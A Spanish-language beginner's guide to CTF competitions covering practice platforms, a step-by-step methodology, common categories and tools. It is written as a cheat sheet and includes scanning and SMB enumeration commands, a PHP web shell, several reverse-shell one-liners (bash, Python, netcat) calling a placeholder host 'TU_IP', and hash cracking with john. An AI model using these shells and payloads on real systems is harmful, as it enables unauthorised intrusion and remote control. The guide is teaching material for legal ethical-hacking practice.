Los CTF (Capture The Flag) son competiciones de ciberseguridad donde debes encontrar "flags" (cadenas secretas) resolviendo retos técnicos. Son la mejor forma de practicar hacking ético en entornos legales. Esta guía cubre la metodología, las categorías más comunes y las herramientas imprescindibles.
# Para aprender — salas guiadas paso a paso:
# https://tryhackme.com ← Ideal para principiantes
# https://picoctf.org ← CTF educativo de CMU
# Para practicar solo — máquinas sin guía:
# https://hackthebox.com ← Nivel intermedio/avanzado
# https://vulnhub.com ← VMs descargables offline
# https://pwn.college ← Especializado en binarios
# Competiciones en vivo:
# https://ctftime.org ← Calendario global de CTFs
# Paso 1 — Reconocimiento inicial:
export IP=10.10.10.X # Guardar IP del objetivo
nmap -sV -sC -T4 $IP # Escaneo rápido de puertos
nmap -p- --min-rate 5000 $IP # Escaneo completo de puertos
# Paso 2 — Enumeración de servicios según puertos:
# Puerto 80/443 → Enumerar web
# Puerto 21 → FTP (probar anonymous login)
# Puerto 22 → SSH (bruteforce si tenemos usuario)
# Puerto 139/445 → SMB (enum4linux, smbclient)
# Paso 3 — Obtener acceso inicial (foothold)
# Paso 4 — Escalada de privilegios (root/system)
# Paso 5 — Capturar flags: user.txt y root.txt
# Reconocimiento básico:
whatweb http://$IP # Detectar tecnologías
curl -I http://$IP # Headers HTTP
nikto -h http://$IP # Escaneo de vulnerabilidades
# Directorios y archivos:
gobuster dir -u http://$IP \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt,bak -t 50
# Subdominios (si hay un dominio):
echo "$IP objetivo.htb" | sudo tee -a /etc/hosts
gobuster dns -d objetivo.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Inspección manual:
# Ver código fuente (Ctrl+U)
# Revisar /robots.txt, /sitemap.xml, /.git/, /backup/
# Probar credenciales comunes: admin/admin, admin/password
# Enumerar con enum4linux-ng:
enum4linux-ng -A $IP
# Listar shares con smbclient:
smbclient -L //$IP -N # Sin contraseña
smbclient //$IP/SHARE -N # Acceder a share concreto
# Con crackmapexec:
crackmapexec smb $IP
crackmapexec smb $IP --shares -u '' -p ''
crackmapexec smb $IP --shares -u 'guest' -p ''
# Montar share localmente:
mkdir /mnt/smb
sudo mount -t cifs //$IP/Data /mnt/smb -o username=,password=
# Poner netcat en escucha (en tu máquina):
nc -lvnp 4444
rlwrap nc -lvnp 4444 # Con historial de comandos
# Shells reversas (bash):
bash -i >& /dev/tcp/TU_IP/4444 0>&1
# Python:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PHP (útil en RCE web):
<?php system($_GET['cmd']); ?>
# Luego: /vuln.php?cmd=bash+-i+>&+/dev/tcp/TU_IP/4444+0>&1
# netcat:
nc TU_IP 4444 -e /bin/bash
# Upgradear shell básica a TTY completo:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
| Categoría | Descripción | Herramientas clave |
|---|---|---|
| Web | SQLi, XSS, IDOR, SSRF, path traversal | Burp Suite, sqlmap, ffuf |
| Criptografía | Cifrados clásicos, RSA débil, hash cracking | CyberChef, john, hashcat, SageMath |
| Reversing | Análisis de binarios, decompilación | Ghidra, IDA Free, radare2, strings |
| Pwn/Binario | Buffer overflow, ret2libc, ROP chains | pwntools, gdb-peda, ROPgadget |
| Forense | Análisis de imágenes, capturas de red, memoria | Volatility, Autopsy, Wireshark, binwalk |
| OSINT | Reconocimiento pasivo, redes sociales | theHarvester, Maltego, Shodan |
| Esteganografía | Datos ocultos en imágenes/audio | steghide, stegseek, zsteg, binwalk |
# Siempre tomar notas:
mkdir ~/ctf/maquina && cd ~/ctf/maquina
nano notas.md # Documentar cada paso
# Buscar la flag en los sitios típicos (Linux):
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
find / -name "flag*.txt" 2>/dev/null
# CyberChef para decodificar texto sospechoso:
# https://gchq.github.io/CyberChef/
# Útil para: base64, hex, ROT13, URL encode, JWT...
# Identificar tipo de hash:
hash-identifier "5f4dcc3b5aa765d61d8327deb882cf99"
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
# Crackear hashes rápido con john:
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt